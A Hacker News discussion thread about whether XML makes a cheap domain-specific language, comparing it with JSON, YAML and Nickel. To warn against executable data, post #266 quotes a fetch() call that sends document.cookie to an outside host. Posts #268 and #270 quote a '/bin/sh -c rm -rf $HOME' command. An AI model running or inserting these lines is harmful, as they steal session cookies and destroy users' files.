Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

XML is a cheap DSL

unplannedobsolescence.com

Post reply on HN
Print view View original

261–270 of 274 posts

Re: XML is a cheap DSL

#261

Post by gchamonlive »

necovek wrote: post #160
gchamonlive wrote: post #68

Earlier quoted context omitted.

That's a strange comment... Cheap here is semantically different from cheap in the article. Here it means "how hard it hits the CPU" and in the article is "how hard it is to specify and widely support your DSL". You also posted a piece of code that the author himself acknowledged that is not bad and ommited the one pathological example where implementation details leak when translating to JavaScript. It just seems li…

Nope, not cheap in my comment means expensive to implement: defining the XML schema, which has been done by someone else, and then using that schema properly, is what makes use of XML expensive (it is a lot of things to learn for more than one engineer in the team).

I misunderstood that part of the comment, sorry about that

Re: XML is a cheap DSL

#262

Post by panzi »

XML (and those prolog and KDL expressions) have one big advantage over JSON: The type (in XML the tag name) comes before the rest of the object. In JSON it's usually a type field. That means in JSON it could come at any point and thus you have to load the whole sub-structure as a dynamic hash map before you can evaluate the type field and instantiate the correct type in your programming language. With XML using a SaX parser you are guaranteed to get the type first and thus can immediately instantiate the correct type and load the properties into that, skipping any dynamic hash map. Depending on your application this can mean a big performance difference.

Re: XML is a cheap DSL

#264

Post by soraminazuki »

alexpetros wrote: post #47
necovek wrote: post #7

XML is notoriously expensive to properly parse in many languages. Basically, the entire world centers around 3 open source implementations (libxml2, expat and Xerces), if you want to get anywhere close to actual compliance. Even with them, you might hit challenges (libxml2 was largely unmaintained recently, yet it is the basis for many bindings in other languages). The main property of SGML-derived languages is that…

Author here. I agree with all this, and I think it's important to note that nothing precludes you from doing a declarative specification that looks like imperative math notation, but it's also somewhat besides the point. Yes, you could make your own custom language, but then you have created the problem that the article is about: You need to port your parser to every single different place you want to use it. That's…

But there's already multiple existing configuration languages that's far more legible and robust than custom languages implemented on top of XML. Take Nickel.

This:

    let
      totalOwed = totalTax - totalPayments,
      totalTax = tentativeTaxNetNonRefundableCredits + totalOtherTaxes,
      totalPayments = totalEstimatedTaxesPaid +
                      totalTaxesPaidOnSocialSecurityIncome +
                      totalRefundableCredits,
    in
    totalPayments
is easy to read, unlike XML. It's written in a small configuration language that's easy to learn. It's pure and declarative. It handles complex configurations well. It provides tools to quickly pinpoint configuration errors. It can be integrated into existing software and workflows. Compared to bespoke languages built on top of XML, it's an improvement in every way conceivable.

There are also varieties of other languages to choose from. Using a bespoke XML-based language will inflict needless suffering upon people.

Re: XML is a cheap DSL

#265

Post by electroly »

necovek wrote: post #7

XML is notoriously expensive to properly parse in many languages. Basically, the entire world centers around 3 open source implementations (libxml2, expat and Xerces), if you want to get anywhere close to actual compliance. Even with them, you might hit challenges (libxml2 was largely unmaintained recently, yet it is the basis for many bindings in other languages). The main property of SGML-derived languages is that…

I shipped 20MB of XML with a product back in 2014; we loaded it at startup, validated it against the XSD, and the performance for this use case was fine. It was big because we did something kinda like what TFA suggests: I designed a declarative XML "DSL" and then wrote a bunch of "code" in it. We had lots of performance problems in that project, but the XML DSL wasn't the cause of any of them; that part was fine. I think "expensive" can mean a lot of different things. It was cheap in terms of development time and the loading/validation time, even on 20MB of XML, was not a problem. Visual Studio ships a tool that generates C# classes from the XSDs which was handy. I just wrote the XSDs and the framework provided the parsing, validation, node classes, and tree construction. This is as "XML proper" as I think it's possible to get.

I don't believe that .NET's XML serializer uses any of the open source projects mentioned in your post, so maybe we just have especially good XML support in .NET. I think Java has its own XML serializer, too. I bet most XML generated and consumed in the world is not one of those three open source C/C++ libraries. I think Java alone might be responsible for more than half of it.

Re: XML is a cheap DSL

#266

Post by catlifeonmars »

imtringued wrote: post #255
catlifeonmars wrote: post #90

Earlier quoted context omitted.

This is an interesting, but objectively terrible idea. You’ve now introduced arbitrary code execution into something that should be data. Now let me send you a fact graph that contains: fetch(`https://callhome.com/collect?s=${document.cookie}`)

You do know that JSON exists? If it's not clear. The format used to store data can be different from the DSL that creates it.

That is exactly my point.

Re: XML is a cheap DSL

#267

Post by adammarples »

da_chicken wrote: post #227
0xbadcafebee wrote: post #184

Earlier quoted context omitted.

The problem is that engineers of data formats have ignored the concept of layers. With network protocols, you make one layer (Ethernet), you add another layer (IP), then another (TCP), then another (HTTP). Each one fits inside the last, but is independent, and you can deal with them separately or together. Each one has a specialty and is used for certain things. The benefits are 1) you don't need "a kitchen sink", 2)…

Eh, this escaping problem was basically solved ages ago. If we really wanted to make a UTF-8 data interchange format that needs minimal escaping, we already have ␜ (FS File Separator U+001C), ␝ (GS Group Separator U+001D), ␞ (RS Row Separator U+001E), ␟ (US Unit Separator U+001F). The problem is that they suck to type out so they suck for character based interchange. But we could add them to that emoji keyboard widge…

Row separator is great, until you find that someone has put one in a data field. Like your comment. It just moves the problem (control and data mixed together) to a less-used control character.

Re: XML is a cheap DSL

#268

Post by pseudohadamard »

xigoi wrote: post #259
pseudohadamard wrote: post #250

Earlier quoted context omitted.

YAML also expanded to add arbitrary scripting via a pile of bolt-on capabilities so that it's now a serialisation language that's Turing-complete, or that includes Turing-complete capabilities within it, everything from: command: - /bin/sh - -c - rm -rf $HOME to: state: > {% set foo = states('...') %} {% set bar = states('...') %} {% if foo == FOO and bar == BAZ %} ... This makes it damn annoying to work with because…

This scripting is not a part of YAML. It could be done in JSON as well: {"command": [ "/bin/sh", "-c", "rm -rf $HOME" ]} In fact, this is completely equivalent to your YAML.

The difference is that in YAML it's kind of expected (the second pseudocode example is from Home Assistant where almost everything nontrivial requires embedding scripting inside your YAML) while I've never seen it done in JSON.

Re: XML is a cheap DSL

#269

Post by necovek »

gmueckl wrote: post #194
0xbadcafebee wrote: post #184

Earlier quoted context omitted.

The problem is that engineers of data formats have ignored the concept of layers. With network protocols, you make one layer (Ethernet), you add another layer (IP), then another (TCP), then another (HTTP). Each one fits inside the last, but is independent, and you can deal with them separately or together. Each one has a specialty and is used for certain things. The benefits are 1) you don't need "a kitchen sink", 2)…

Some early binary formats followed similar concepts. Look up Interchange File Format, AIFF, RIFF, and their applications and all the file formats using this structure to this day.

I would say that most of the video file formats today are a bit like that too: they allow different stream data encoding schemes with metadata being the definition of a particular format (mostly to bring up a more familiar example that is not as generic).

Re: XML is a cheap DSL

#270

Post by xigoi »

pseudohadamard wrote: post #268
xigoi wrote: post #259

Earlier quoted context omitted.

This scripting is not a part of YAML. It could be done in JSON as well: {"command": [ "/bin/sh", "-c", "rm -rf $HOME" ]} In fact, this is completely equivalent to your YAML.

The difference is that in YAML it's kind of expected (the second pseudocode example is from Home Assistant where almost everything nontrivial requires embedding scripting inside your YAML) while I've never seen it done in JSON.

Jupyter notebooks are a form of scripting in JSON. Anyway, all this is the fault of specific tools, not of YAML. This is like saying that laundry pods are bad because people eat them.
Post reply on HN